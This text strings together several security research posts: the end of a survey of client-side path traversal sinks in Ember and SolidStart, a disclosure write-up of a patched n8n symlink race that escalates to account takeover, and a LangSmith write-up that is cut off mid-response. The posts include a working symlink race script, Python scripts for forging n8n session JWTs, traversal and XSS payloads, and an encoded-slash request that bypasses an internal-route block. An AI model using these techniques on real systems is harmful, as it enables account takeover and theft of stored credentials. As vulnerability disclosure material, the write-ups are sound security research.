// params.user_id = "../../admin" → fetch("/api/admin")

Ember also has a second sink that’s unique to its ecosystem: Ember Data adapters (now WarpDrive). The adapter pattern builds API URLs from model names and IDs, and the default urlForFindRecord does not encode:

// Vulnerable adapter pattern
urlForFindRecord(id, modelName) {
  return `/api/${modelName}s/${id}`;  // No encodeURIComponent!
}

When a route’s model hook calls this.store.findRecord('user', params.user_id), the decoded param flows through the adapter’s URL builder. The traversal payload ../../admin becomes part of the fetch URL without any encoding. This is an indirect CSPT sink. The developer never calls fetch() directly. The framework’s data layer does it for them, and the adapter doesn’t sanitize.

The XSS escalation in Ember uses triple-curly syntax {{{ }}} instead of dangerouslySetInnerHTML or v-html. In Handlebars, double curlies {{ }} escape HTML. Triple curlies render raw HTML. In production builds, triple curlies compile to Glimmer VM appendHTML opcodes, which call insertAdjacentHTML('beforeend', html) on the DOM element. Functionally identical to innerHTML.

{{! dashboard/stats.hbs }}
{{{this.model.content}}}

If CSPT redirects a fetch to an attacker-controlled endpoint that returns HTML, and that HTML flows into a triple-curly template, you get XSS. The chain: query param decoded → interpolated into fetch URL → fetch hits attacker endpoint → response contains <img onerror=alert(1)> → triple curlies render it → script executes.

Ember also has htmlSafe() from @ember/template, which programmatically marks a string as safe for HTML rendering. Any component that wraps API response data in htmlSafe() before rendering is an XSS sink when combined with CSPT.

The only safe source in Ember is reading the URL directly from window.location.pathname or window.location.href, which preserves %2F encoding. Everything that flows through route-recognizer’s findHandler() for dynamic segments is fully decoded.

SolidStart

The primary client-side sink is fetch() inside createResource or createAsync, which are Solid’s reactive data-fetching primitives. When the tracked signal (params) changes via client-side navigation, the fetcher re-executes immediately with no page reload:

const [user] = createResource(
  () => params.userId,
  async (userId) => {
    const res = await fetch(`/api/users/${userId}`);
    return res.json();
  },
);

For path params, this is safe. params.userId is still encoded, so the fetch URL contains encoded characters that the server receives as-is.

For search params, this is not safe:

const [searchParams] = useSearchParams();
const [stats] = createResource(
  () => searchParams.source,
  async (source) => {
    const res = await fetch(`/api/stats?source=${source}`);
    return res.json();
  },
);

Navigate to /dashboard/stats?source=../../uploads/malicious and the fetch fires with the decoded traversal in the query string.

SolidStart’s server functions add a second sink. The query() API with "use server" serializes arguments via seroval and sends them as a POST body to /_server. The server deserializes the exact string the client sent. No re-encoding, no sanitization at the transport boundary:

const getData = query(async (dataId: string) => {
  "use server";
  const res = await fetch(`http://internal-service.local/data/${dataId}`);
  return res.json();
}, "getData");

// Client call:
const data = createAsync(() => getData(params.dataId));

If params.dataId came from a search param (decoded) or a catch-all route with real slashes, the traversal string passes through the JSON RPC boundary unchanged. "../../admin" on the client becomes "../../admin" on the server, which then interpolates it into an internal fetch URL. This is SSRF through a server function.

The XSS escalation uses Solid’s native innerHTML prop. Unlike React’s dangerouslySetInnerHTML (which is verbose by design to discourage use), Solid treats innerHTML as a first-class JSX attribute:

<div innerHTML={stats()} />

This compiles directly to element.innerHTML = value. Combined with CSPT via search params, if the attacker can redirect a fetch to an endpoint returning HTML, the response gets rendered into the DOM.

The safe sources in SolidStart are useParams() for single-segment dynamic params and useLocation().pathname, both of which preserve percent-encoding. The dangerous sources are useSearchParams() (auto-decoded by the browser API) and any value that passes through server functions from an already-decoded input.

Conclusion

Client-side paths are a rich attack surface. Each framework parses dynamic paths and query parameters differently. There are dangerous code patterns in each framework. If a path traversal payload is be passed to a client-side fetch request, it leads to CSPT. If a path-traversal payload is passed to a Server-side fetch request, it can lead to secondary context path traversal.

Path Params: Does %2F Decode to /?

Query Params: Decoded Everywhere

Every framework decodes query parameters. There are no exceptions.

XSS Sinks: The Escalation Function

Safe Sources: What Won’t Betray You

Server-Side / Secondary Traversal Sinks

This is the write up of a n8n vulnerability I found, patched January 14 2026. Here is the github security advisory: https://github.com/n8n-io/n8n/security/advisories/GHSA-gfvg-qv54-r4pc.

What is n8n?

n8n is an open-source low-code orchestration tool which has gained a lot of popularity during recent years. Its use cases are wide, going from automating social media posts to acting as a SOAR (Security, Orchestration, Automation and Response). In company environment, it can be higly integrated with other tools, making it a critical target that can lead to whole infrastructure compromise.

n8n can be self-hosted or used via a cloud instance. This vulnerability concerns both of them.

I used n8n a bit for personal projects before checking their Vulnerability Disclosure Program.

How it works

“Workflows” are basically programs that you can run on a schedule, manually, by calling a webhook or via other workflows. They are made of “Nodes” which make some action like manipulating data, making http requests or sending slack messages. There are a lot of different nodes in order to integrate with any tools, mainly via API. Workflows are restricted to the personal project of the user but can be shared.

Credentials are managed the same way, moreover they are encrypted outside of workflows. To use them, you reference them and they are decrypted at runtime.

In order to manage workflows and credentials, authentification is needed.

Race condition finding

Climbing from the fix to the vulnerability

During my first assesment of n8n security, I started by reading disclosed Github Securiy Advisories (there were only 8 at this time), with one being Symlink traversal vulnerability in “Read/Write File” node allows access to restricted files, credited to @Mahmoud0x00 in August 2025.

Basicaly, this vulnerability uses symlink to bypass restrictions on the “Read/Write file” node, which normaly permits reading or writing files only to certain locations on the underlying filesystem. Interestingly enough, it only affects self-hosted instances.

I went ahead and checked how the fix was implemented. The summary of the pull request referenced is pretty self-explanatory:

Use realpath function instead of resolve to resolve the real path of a file, in a case it is a symlink to a different location, which might be blocked

Let’s dive deeper and check the concerned code in packages/core/src/execution-engine/node-execution-context/utils/file-system-helper-functions.ts

import { createReadStream } from 'node:fs';
import {
	access as fsAccess,
	writeFile as fsWriteFile,
	realpath as fsRealpath,
} from 'node:fs/promises';
[...]

export async function isFilePathBlocked(filePath: string): Promise<boolean> {
	const allowedPaths = getAllowedPaths();
-   const resolvedFilePath = resolve(filePath);
+	const resolvedFilePath = await fsRealpath(filePath);
	const blockFileAccessToN8nFiles = process.env[BLOCK_FILE_ACCESS_TO_N8N_FILES] !== 'false';

	const restrictedPaths = blockFileAccessToN8nFiles ? getN8nRestrictedPaths() : [];
	if (
		restrictedPaths.some((restrictedPath) => isContainedWithin(restrictedPath, resolvedFilePath))
	) {
		return true;
	}

	if (allowedPaths.length) {
		return !allowedPaths.some((allowedPath) => isContainedWithin(allowedPath, resolvedFilePath));
	}

	return false;
}

export const getFileSystemHelperFunctions = (node: INode): FileSystemHelperFunctions => ({
	async createReadStream(filePath) {
		try {
			await fsAccess(filePath);
		} catch (error) {
			[...]
		}
		if (await isFilePathBlocked(filePath as string)) {
			[...]
		}
		return createReadStream(filePath);
	},

    [...]
});

The function “createReadStream” is called by the Read/Write file node with a filePath parameter.

• First, this path is checked against fsAccess which errors out if the file doesn’t exist.
• Then, the isFilePathBlocked function is called with the filePath. The filePath is resolved and checked against forbidden directories.
• If it returns False, fs.createReadStream is called with the given filePath.

The vulnerability lays in the fact that fsAccess and fs.createReadStream does resolve symlinks, but the isFilePathBlocked function uses resolve which doesn’t.

If an attacker provides /home/node/pwn/passwd as a pathfile to the Read/Write file node, where pwn is a symlink pointing to /etc:

• fsAccess returns true, because /etc/passwd exists (symlink resolved).
• isFilePathBlocked returns false, because /home/node/pwn/passwd is not in a forbidden directory (symlink not resolved).
• fs.createReadStream is created with the path /etc/passwd (symlink resolved).

With the fix, fsRealpath is used instead of resolve which does resolve symlinks. In the previous scenario, isFilePathBlocked now returns true because /etc/passwd is in a forbidden directory.

TOCTOU

The fix is working as intented, but something may have caught your eye like it did for me in the createReadStream function.

The 3 different symlink resolutions happen at 3 different times, opening up the possibility of a TOCTOU (Time-of-check vs Time-of-use) vulnerability. If we change what the symlink is pointing to between those moments, all 3 checks would be against different files.

The attack scenario would look like this with the pathFile /home/node/pwn/passwd:

• Symlink pwn points to /etc.
• fsAccess resolves to /etc/passwd and returns true (it also works if /home/node/passwd exists and pwn points to /home/node).
• Symlink changes and points to /home/node.
• isFilePathBlocked resolves to /home/node/passwd and returns false because it is allowed.
• Symlink changes and points to /etc.
• fs.createReadStream resolves to /etc/passwd and returns a ReadStream to this file.

I first tested this on a self-hosted docker instance where I launched a simple bash script that repeatedly modifies a symlink between 2 destinations:

#!/bin/sh
while true
do
rm pwn
ln -s /home/node pwn
rm pwn
ln -s /etc pwn
done

I then made a workflow which forever tries to exploit this race condition and only stop when the forbidden file is retrieved, or after a timeout:

We can note that the “Write dummy file to /home/node” node creates an empty file at /home/node/passwd in order to always pass the fsAccess check, making the race condition more likely to happen.

By launching the bash script and then the workflow, the file is read after only a few seconds and around 10 to 20 loops.

Symlinks management

In order to really achieve this arbitrary read file vulnerability, the symlink quick change needs to be done from n8n.

Git is the perfect candidate for this: it can handle symlinks and its branches can be used to switch between two directories.

After setting up a Github repository (named n8n_ATO) with just one symlink named pwn, pointing to /etc in main branch and to /home/node in second branch, we can clone it to /home/node/n8n_ATO on the local filesystem with the Git Clone node.

This workflow will repeatedly switch between the 2 branches until it timeouts:

The readfile workflow needs to be updated to try to access the /home/node/n8n_ATO/passwd file.

Now by launching the git workflow and then the readfile workflow, the file read is achieved roughly after the same delay.

By changing the file accessed and the forbidden directory pointed by the symlink, any file that the user running n8n (node) has access to can be read.

Enhance impact

JWT Forging

Arbitrary File Read is done, let’s see if we can escalate it further than the original report (spoiler: we can).

In parallel to this race condition, I did some source code reading on how n8n manages sessions. It uses signed JWT as defined in auth.service.ts:

interface AuthJwtPayload {
	/** User Id */
	id: string;
	/** This hash is derived from email and bcrypt of password */
	hash: string;
	/** This is a client generated unique string to prevent session hijacking */
	browserId?: string;
	/** This indicates if mfa was used during the creation of this token */
	usedMfa?: boolean;
}

[...]

issueJWT(user: User, usedMfa: boolean = false, browserId?: string) {
	const payload: AuthJwtPayload = {
		id: user.id,
		hash: this.createJWTHash(user),
		browserId: browserId && this.hash(browserId),
		usedMfa,
	};
	return this.jwtService.sign(payload, {
		expiresIn: this.jwtExpiration,
	});
}

[...]

createJWTHash({ email, password, mfaEnabled, mfaSecret }: User) {
	const payload = [email, password];
	if (mfaEnabled && mfaSecret) {
		payload.push(mfaSecret.substring(0, 3));
	}
	return this.hash(payload.join(':')).substring(0, 10);
}

private hash(input: string) {
	return createHash('sha256').update(input).digest('base64');
}

In order to create a valid JWT, 6 pieces of information are needed:

• User Id.
• User email.
• User bcrypt encrypted password.
• MFA secret if mfa has been used.
• browserId.
• JWT signature secret.

All 4 first components are present in the database, more precisely in the user table:

sqlite> PRAGMA table_info(user);
0|id|varchar|0||1
1|email|varchar(255)|0||0
2|firstName|varchar(32)|0||0
3|lastName|varchar(32)|0||0
4|password|varchar|0||0
5|personalizationAnswers|TEXT|0||0
6|createdAt|datetime(3)|1|STRFTIME('%Y-%m-%d %H:%M:%f', 'NOW')|0
7|updatedAt|datetime(3)|1|STRFTIME('%Y-%m-%d %H:%M:%f', 'NOW')|0
8|settings|TEXT|0||0
9|disabled|boolean|1|FALSE|0
10|mfaEnabled|boolean|1|FALSE|0
11|mfaSecret|TEXT|0||0
12|mfaRecoveryCodes|TEXT|0||0
13|lastActiveAt|date|0||0
14|roleSlug|varchar(128)|1|'global:member'|0

sqlite is the default database format of n8n, and it is kept in the file /home/node/.n8n/database.sqlite.

The browserId can be arbitrary set.

And the JWT signature secret is defined in jwt.service.ts:

constructor({ encryptionKey }: InstanceSettings, globalConfig: GlobalConfig) {
		this.jwtSecret = globalConfig.userManagement.jwtSecret;
		if (!this.jwtSecret) {
			// If we don't have a JWT secret set, generate one based on encryption key.
			// For a key off every other letter from encryption key
			// CAREFUL: do not change this or it breaks all existing tokens.
			let baseKey = '';
			for (let i = 0; i < encryptionKey.length; i += 2) {
				baseKey += encryptionKey[i];
			}
			this.jwtSecret = createHash('sha256').update(baseKey).digest('hex');
			Container.get(GlobalConfig).userManagement.jwtSecret = this.jwtSecret;
		}
	}

It is derived from the encryptionKey, which is stocked in the /home/node/.n8n/config file.

0-Click ATO

By retrieving these 2 files, we can forge any valid JWT and achieve Account Take Over. At least in theory, because when I tried to replicate this on a fresh cloud instance, I found an almost empty database.

After further testing, I found out that I was tricked by the WAL (Write Ahead Logging) functionality of SQLite: changes to the database may not be instantly committed to the database.sqlite file, so in this case it contained no information about the owner account.

I needed to repeat the arbitrary read to download the /home/node/.n8n/database.sqlite-wal file, which contains non-committed changes.

With both files in the same directory, opening the sqlite file with sqlite3 database.sqlite and fetching user data with SELECT id, email, password, mfaEnabled, mfaSecret FROM user; will automatically commit all the changes.

Here are the python scripts I used for the POC:

• jwt_from_encryption.py that derives the JWT secret from the encryption key

import hashlib
import argparse

def derive_jwt_secret(encryption_key: str) -> str:
    base_key = encryption_key[::2]
    return hashlib.sha256(base_key.encode()).hexdigest()


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Derive JWT secret from encryption key.")
    parser.add_argument(
        "encryption_key",
        type=str,
        help="Encryption key used to derive the JWT secret."
    )

    args = parser.parse_args()

    jwt_secret = derive_jwt_secret(args.encryption_key)
    print(jwt_secret)

Usage: python3 jwt_from_encryption.py "<encryption_key>"

• jwt_sign.py that creates and sign the JWT from all needed information

import jwt
import datetime
import argparse

class AuthService:
    def __init__(self, jwt_secret: str, jwt_expiration: str, jwt_algorithm="HS256"):
        self.jwt_secret = jwt_secret
        self.jwt_algorithm = jwt_algorithm
        self.jwt_expiration = jwt_expiration

    def hash(self, input_str: str) -> str:
        import hashlib, base64
        digest = hashlib.sha256(input_str.encode("utf-8")).digest()
        return base64.b64encode(digest).decode("utf-8")

    def create_jwt_hash(self, user):
        import hashlib, base64
        email = user.get("email")
        password = user.get("password")
        mfa_enabled = user.get("mfaEnabled")
        mfa_secret = user.get("mfaSecret")

        payload = [email, password]
        if mfa_enabled and mfa_secret:
            payload.append(mfa_secret[:3])

        sha = hashlib.sha256(":".join(payload).encode("utf-8")).digest()
        return base64.b64encode(sha)[:10].decode("utf-8")

    def _parse_expiration(self, exp: str) -> datetime.timedelta:
        value = int(exp[:-1])
        unit = exp[-1]

        match unit:
            case "s": return datetime.timedelta(seconds=value)
            case "m": return datetime.timedelta(minutes=value)
            case "h": return datetime.timedelta(hours=value)
            case "d": return datetime.timedelta(days=value)
            case _:   raise ValueError("Expiration must end with s/m/h/d")

    def issue_jwt(self, user, used_mfa: bool = False, browser_id: str | None = None):
        payload = {
            "id": user["id"],
            "hash": self.create_jwt_hash(user),
            "browserId": self.hash(browser_id) if browser_id else None,
            "usedMfa": used_mfa,
            "exp": datetime.datetime.utcnow() + self._parse_expiration(self.jwt_expiration),
        }
        print(payload)
        return jwt.encode(payload, self.jwt_secret, algorithm=self.jwt_algorithm)


parser = argparse.ArgumentParser(description="Generate JWT from AuthService")

parser.add_argument("--jwt-secret", required=True, help="JWT secret key")
parser.add_argument("--jwt-expiration", default="1h", help="Expiration (e.g., 20m, 1h)")

parser.add_argument("--id", required=True, help="User ID")
parser.add_argument("--email", required=True, help="User email")
parser.add_argument("--password", required=True, help="User password")

parser.add_argument("--mfa-enabled", action="store_true", help="Set MFA enabled")
parser.add_argument("--mfa-secret", default=None, help="MFA secret key")

parser.add_argument("--used-mfa", action="store_true", help="Mark that MFA was used")
parser.add_argument("--browser-id", default=None, help="Browser ID")

args = parser.parse_args()

user = {
    "id": args.id,
    "email": args.email,
    "password": args.password,
    "mfaEnabled": args.mfa_enabled,
    "mfaSecret": args.mfa_secret
}

service = AuthService(jwt_secret=args.jwt_secret, jwt_expiration=args.jwt_expiration)

token = service.issue_jwt(user, used_mfa=args.used_mfa, browser_id=args.browser_id)
print("\nJWT TOKEN:")
print(token)

Usage:

python3 jwt_sign.py \                                            
  --jwt-secret '<jwt_secret>' \
  --jwt-expiration '1h' \
  --id '<userId>' \
  --email '<userEmail>' \
  --password '<bcrypt encrypted password>' \
  --mfa-enabled \
  --mfa-secret '<mfa secret>' \
  --used-mfa \
  --browser-id '<browserId>'

By providing the forged JWT and the corresponding browserId in requests to n8n, we are connected as the victim. The owner account can be took over, giving full access to the whole instance.

Remediation

First fix attempt

n8n development team quickly made a fix by resolving the path before calling createReadStream and preventing any potential symlinks from being followed inside the function:

async function resolvePath(path: PathLike): Promise<ResolvedFilePath> {
	try {
		return (await fsRealpath(path)) as ResolvedFilePath; // apply brand, since we know it's resolved now
	} catch (error: unknown) {
		if (error instanceof Error && 'code' in error && error.code === 'ENOENT') {
			return resolve(path.toString()) as ResolvedFilePath; // apply brand, since we know it's resolved now
		}
		throw error;
	}
}

// Use O_NOFOLLOW to prevent createReadStream from following symlinks. We require that the path
		// already be resolved beforehand.
		const stream = createReadStream(resolvedFilePath, {
			flags: (constants.O_RDONLY | constants.O_NOFOLLOW) as unknown as string,
		});

However, my exploit still worked as it was and Account Take Over was still possible. I didn’t dive very deep into why it was not working, so feel free to correct me if you think I am wrong, but I think it is because of 2 things:

• First, the fallback to resolve function if fsRealPath fails means we can still put unresolved symlink in resolvedFilePath.
• Moreover, the O_NOFOLLOW flag prevents following symlinks ONLY if the symlink is at the end of the filepath, which is not the case in our POC (/home/node/n8n_ATO/pwn/config -> config is not a symlink). See NodeJS doc that references man Open(2).

Working fix

The second fix is more robust. It introduces 2 security layers:

• The path resolution is now split in half, between the dirname (here /home/node/n8n_ATO/pwn/) and the basename (here config). Only fsRealPath is used to resolve the dirname, so no symlink is left. Then, O_NOFOLLOW is used to open the file to prevent any symlink in the basename to be followed.

async function resolvePath(path: PathLike): Promise<ResolvedFilePath> {
	const pathStr = path.toString();

	try {
		return (await fsRealpath(pathStr)) as ResolvedFilePath; // apply brand, since we know it's resolved now
	} catch (error: unknown) {
		if (error instanceof Error && 'code' in error && error.code === 'ENOENT') {
			// File doesn't exist - resolve the parent directory and append filename
			const dir = dirname(pathStr);
			const file = basename(pathStr);
			const resolvedDir = await fsRealpath(dir);
			return join(resolvedDir, file) as ResolvedFilePath;
		}
		throw error;
	}
}

• Device and inode number of the path is checked at the beginning and at the end of the function, against the resolved path. This ensures the same file is checked and read.

Conclusion

Impact

As explained in the introduction, n8n is typically intregated with multiple tools, meaning it stores API keys and credentials. By taking over the owner account, we can access and exploit any of these credentials. We can also modify / delete any workflow.

Even if a company using n8n with critical tools applies least privilege principle, with multiple low privilege accounts for different tasks, a single account compromised means the whole instance is compromised too.

However, a valid account is needed, which reduce the risk of this vulnerability being exploited in the wild. The authenticated nature of this vulnerability limit the practical risk to instances where users are trusted.

Patch

Quoting the advisory:

The issue has been fixed in n8n version 1.123.18 and 2.5.0. Users should upgrade to this version or later to remediate the vulnerability.

If upgrading is not immediately possible, administrators should consider the following temporary mitigations:

• Limit workflow creation and editing permissions to fully trusted users only.
• Restrict access to nodes that interact with the file system, particularly the “Read/Write Files from Disk” and “Git” nodes. These workarounds do not fully remediate the risk and should only be used as short-term mitigation measures.

Thanks

I would like to strongly thank n8n security and dev teams, who responded quickly and with transparency. They provided regular updates on fix development, and the overall disclosure went smooth.

Timeline

• Nov 22, 2025: Vulnerability reported.
• Nov 24, 2025: Report acknowledged.
• Dec 2, 2025: Vulnerability confirmed.
• Dec 18, 2025: First fix released.
• Dec 18, 2025: Bypass of fix reported.
• Jan 13, 2026: Second fix released.
• Jan 14, 2026: Fix confirmed.
• Feb 4, 2026: Security advisory published and bounty awarded.

This post continues my exploration of LangSmith, which began with a high-level overview of the service and a detailed analysis of the LangSmith Playground described in my first post. Following this research, I shifted my focus to the service architecture to better understand the key components, their responsibilities, and interconnection between them.

TL;DR

This post describes a vulnerability in LangSmith that could allow unauthorised access across agent deployments. The attack chain combined two weaknesses: (1) the Agent API leaked a service keys in a response, and (2) routing restrictions to sensitive internal API endpoints could be bypassed using %2F in the request path due to a path normalisation inconsistency between the GCP load balancer and FastAPI. The vulnerability provided read and write access to agent deployments across any workspaces, including access to credentials for third-party services.

Note: This research details a vulnerability that was responsibly disclosed to the LangChain team and fully remediated within hours of the initial report. The fix includes blocking %2F on the WAF, removing service keys from API responses, and tightening authorisation defaults. LangChain has confirmed there is no evidence of this issue being exploited in the wild. This write-up is being shared strictly for educational purposes to highlight the technical nuances of path normalization mismatches and privilege scoping in modern cloud environments.

LangSmith architecture

I started my exploration of the service architecture from two main sources: LangSmith documentation and Docker images for Self-hosted deployment. The documentation provides an architectural diagram depicting key components and data flows.

The diagram shows two backends Backend and Platform Backend with access to the storage service, and “isolated” Playground and ACE Backend. I went to the Docker Hub and mapped each component to its corresponding image:

• Frontend -> langchain/langsmith-frontend
• Backend -> langchain/langsmith-backend
• Platform Backend -> langchain/langsmith-go-backend
• Playground -> langchain/langsmith-playground
• ACE Backend -> langchain/langsmith-ace-backend

However, I noticed that there was one more image langchain/hosted-langserve-backend not reflected in the diagram. All this led me to two questions:

1. Why are there two backends and what are their responsibilities?
2. Is langchain/hosted-langserve-backend part of LangSmith and what is it used for?

The answer to the first question was quickly found right in the documentation:

Both Backend and Platform Backend implement the LangSmith API and share responsibilities to manage the workload. After pulling the Docker images, I found that langchain/langsmith-backend contains compiled Python code while langchain/langsmith-go-backend contains a binary compiled from Golang code. Apparently, LangSmith uses the Golang backend for the heaviest operations while the Python backend for relatively light CRUD operations.

To answer the second question, I explored the langchain/hosted-langserve-backend image in more detail. This image implements the so-called Host Backend, a FastAPI service that serves the LangSmith Deployment Control Plane API. LangSmith Deployment is an infrastructure platform for deploying and managing agents and LangGraph applications. One interesting detail from the API reference was that it uses a different domain api.host.langchain.com than the LangSmith API api.smith.langchain.com.

Component authentication

With the architecture mapped out, I began reviewing endpoints in both the Backend and Host Backend components. While reviewing the code, I paid attention to the implementation of authentication and authorisation of requests. The following code example demonstrates the process:

@router.get("/foo/{foo_id}")
async def foo_bar_endpoint(
    foo_id: UUID,
    auth: AuthInfo = Depends(Authorize(Permissions.FOO_READ)),
) -> FooResponse:
    # ...

Here, the FastAPI dependency injection is used to call an instance of the Authorize class that verifies an authentication token and checks if a user has the Permissions.FOO_READ permission. However, some internal endpoints used a slightly different approach. A few of them relied on Authorize, while others on the x_service_authorize function, but both expected a key from the X-Service-Key header for authentication:

@router_internal.get("/bar", response_model=BarResponse)
async def get_bar_endpoint(
    auth: AuthInfo = Depends(
        Authorize(permission=None, allowed_services=[ServiceIdentity.UNSPECIFIED]),
    )
) -> BarResponse:
    # ...

@router_internal.get("/abc", dependencies=[Depends(x_service_authorize)])
async def get_abc_endpoint() -> AbcResponse:
    # ...

Initially, it wasn’t clear where or how X-Service-Key is generated and what it’s used for. Further review of Authorize and x_service_authorize revealed that all authentication mechanisms used the platform_request(method, path, params, header, body, ...) function to verify tokens. This function makes a request to the Platform Backend component, where the authentication logic is encapsulated. In the Python code, platform_request is used like this:

res = await platform_request(
    "GET", "/auth", headers={"X-Api-Key": x_api_key}
)
auth_dict = parse_response_body(res)
if permission not in auth_dict["identity_permissions"]:
    raise ...

In fact, it’s possible to hit that endpoint in Platform Backend from the Internet:

GET /auth HTTP/1.1
Host: api.smith.langchain.com
X-API-Key: <API_KEY>

HTTP/1.1 200 OK
Content-Type: application/json

{
    "organization_id": "...",
    "organization_is_personal": true,
    // ...
}

Another interesting discovery was the internal_platform_request function that generates a JWT using get_x_service_jwt_token(payload) and sets it as X-Service-Key:

async def internal_platform_request(
    method: str,
    path: str,
    # ...
) -> HTTPResponse:
    # ...
    headers = {**headers, "X-Service-Key": get_x_service_jwt_token(jwt_payload)}
    # ...
    return await platform_request(
        method,
        path,
        # ...
    )

Review of get_x_service_jwt_token and code that relied on internal_platform_request confirmed that X-Service-Key is used for authentication between internal LangSmith components. For example, Backend can generate a service key and use it for authentication with Platform Backend. To generate service keys, internal components need access to a shared secret key used to sign JWTs with the HS256 algorithm.

A service key contains at least the sub (service name) and exp (expiration timestamp) claims. It can also include the tenant_id, user_id, and organization_id claims to scope the key to a specific tenant (workspace), user, and organisation. The sub claim is used within the authorisation flow when an endpoint restricts access to a set of services using Authorize, e.g. Authorize(permission=None, allowed_services=[ServiceIdentity.FOO]) grants access only for service keys with sub set to the value of ServiceIdentity.FOO.

However, there is a special identity ServiceIdentity.UNSPECIFIED that is used to allow access for unscoped service keys with sub set to unspecified. Moreover, Authorize added ServiceIdentity.UNSPECIFIED to the allowed_services list and granted access to unscoped keys by default. In other words, setting sub to unspecified created a key with almost unlimited access, especially if no other claims were set.

This design appeared to present a significant security risk, if I could generate or leak a service key, I could potentially access internal endpoints and data of other users. I identified several potential attack vectors and began reviewing all locations where service keys were used.

One of my first targets was the internal library for making requests to Platform Backend. The idea was to find a way to redirect a request containing a service key to my server, either through URL manipulation or a loophole in the business logic. However, I found nothing exploitable. While there was a potential URL injection point, it was effectively mitigated. Additionally, all functionality involving service keys provided no opportunities to control URLs or trigger redirects. After extensive code review, I was unable to find any gadget that could leak a service key.

Exploring LangSmith Agent Builder

Around that time, LangChain opened a public beta for LangSmith Agent Builder, and I gained access to this feature. Agent Builder is a service built on LangGraph and deepagents for creating agents within LangSmith. This is a no-code agent builder where you can create handy agents for various use cases. When you create an agent, LangSmith hosts it in their cloud, giving you a fully working agent that can be tested directly from LangSmith. After creating my test agent, I started a chat and inspected the traffic in Caido. Eventually, I discovered the following request and response:

GET /threads/cbf2c4ea-e234-42f8-a7cb-1972b5994a68/state HTTP/1.1
Host: prod-agent-builder-f819397fc814a7682ca37d7c8932b2c3.langgraph.app
x-auth-scheme: langsmith-agent
Authorization: Bearer <JWT>
X-User-Id: <User-ID>
X-Tenant-Id: <Tenant-ID>

HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 94968

{
    "values": {
        "messages": [
            // ...
        ],
        "tools": [
            // ...
        ],
        "triggers": [
            // ...
        ],
        "files": {
            // ...
        },
        "agent_memory": "..."
    },
    "next": ["model"],
    "tasks": [
        // ...
    ],
    "metadata": {
        // ...
        "langgraph_auth_user": {
            // ...
            "agent_builder_passthrough_headers": {
                "X-User-Id": "<User-ID>",
                "X-Tenant-Id": "<Tenant-ID>",
                "X-Service-Key": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ1bnNwZWNpZmllZCIsImV4cCI6MTc2NDUzMTQyNCwidGVuYW50X2lkIjoiPFRlbmFudC1JRD4iLCJ1c2VyX2lkIjoiPFVzZXItSUQ-Iiwib3JnYW5pemF0aW9uX2lkIjoiPE9yZy1JRD4ifQ.jBSO-HLuCscmhEEd4sdbhtosaSmcIX3OTHn6i9susIo",
                "x-auth-scheme": "langsmith-agent"
            }
        },
        // ...
    },
    // ...
}

The response contained extensive data, including messages, available tools, files, etc. However, what caught my attention was the metadata because it contained X-Service-Key with the following payload:

{"sub":"unspecified","exp":1764531424,"tenant_id":"<Tenant-ID>","user_id":"<User-ID>","organization_id":"<Org-ID>"}

This was exactly what I had been searching for. The only thing that brought a bit of doubts was that the key was scoped for my user, tenant (workspace) and organisation. Nevertheless, I wanted to test what access it granted.

Access API endpoints with service key

The first step was to validate that the key was valid and could be used with the LangSmith API. I sent a request to the previously discovered /auth endpoint, which is used internally for token validation:

GET /auth HTTP/1.1
Host: api.smith.langchain.com
X-Service-Key: <JWT>

HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 4058

{
    "organization_id": "<Org-ID>",
    // ...
    "tenant_id": "<Tenant-ID>",
    // ...
    "service_identity": "unspecified"
}

The key was valid, but it wasn’t clear if I could override organisation or tenant IDs. I attempted to add X-Tenant-ID and X-Organization-ID headers, but /auth always returned IDs from the JWT. It appeared I couldn’t use this service key to access other users’ data and the reason lies in how LangSmith implemented CRUD operations. Let’s consider the following example:

@router.get("/foo/{foo_id}", response_model=FooResponse)
async def get_foo_endpoint(
    foo_id: UUID,
    auth: AuthInfo = Depends(Authorize(Permissions.FOO_READ)),
) -> FooResponse:
    return await models.foo.get_foo(auth, foo_id)

This is an example of a GET endpoint that returns an object by its ID. The retrieval logic is encapsulated inside models.foo.get_foo, which accepts auth and foo_id. The auth parameter contains information returned by GET /auth, including tenant and organisation IDs. In this example, models.foo.get_foo extracts the tenant ID from auth and uses it to query the database. Therefore, there was no way to use the scoped service key to bypass this logic.

However, there was one more authentication method used for internal endpoints:

@router_internal.get("/abc", dependencies=[Depends(x_service_authorize)])
async def get_abc_endpoint() -> AbcResponse:
    # ...

These endpoints had no auth object or similar mechanism to enforce scoping. Searching for uses of x_service_authorize, I found several internal endpoints in Host Backend, like the following one:

@router_internal.get("/{project_id}", dependencies=[Depends(x_service_authorize)])
async def get_project_endpoint_internal(project_id: UUID) -> ProjectExtended:
    return await get_project(project_id)

These endpoints looked like perfect candidates for testing. I crafted a request to /internal/v1/projects to test if I could list projects:

GET /internal/v1/projects HTTP/1.1
Host: api.host.langchain.com
X-Service-Key: <JWT>

HTTP/1.1 403 Forbidden
Server: nginx
Content-Type: text/html
Content-Length: 146
Connection: close

<html>

<head>
    <title>403 Forbidden</title>
</head>

<body>
    <center>
        <h1>403 Forbidden</h1>
    </center>
    <hr>
    <center>nginx</center>
</body>

</html>

The request was blocked. This looked like an nginx restriction preventing requests to internal endpoints. I sent requests with different paths to determine which patterns were blocked. Requests to /internal and /internal/* were blocked, while requests like /internalfoo hit the backend. At that point, identifying differences in path parsing between the proxy and backend could lead to a bypass.

I researched request parsing and routing in FastAPI. It turned out that Uvicorn, the underlying ASGI server for FastAPI, performs URL decoding on paths before passing requests to Starlette/FastAPI. For example, GET /fo%6f is decoded to /foo by Uvicorn and routed to the corresponding handler in FastAPI. I tried encoding a character in internal and sent a request to /interna%6C/v1/projects, but received the same 403 response. Next, I encoded the slash / following /internal and sent another request to /internal%2Fv1/projects:

GET /internal%2Fv1/projects HTTP/1.1
Host: api.host.langchain.com
X-Service-Key: <JWT>

HTTP/1.1 200 OK
server: uvicorn
x-pagination-total: 21
Content-Length: 71009
content-type: application/json

[{
    "id": "<UUID>",
    // ...
    "repo_url": "https://github.com/repo/slug",
    "repo_branch": "main",
    // ..
    "custom_url": "https://<name>.langgraph.app",
    "resource": {
        // ...
        "latest_revision": {
            "id": {
                "type": "revisions",
                "name": ""
            },
            "env_vars": [{
                "name": "OPENAI_API_KEY",
                "value": "sk-proj-...",
                "value_from": "secret",
                "type": "secret"
            }, {
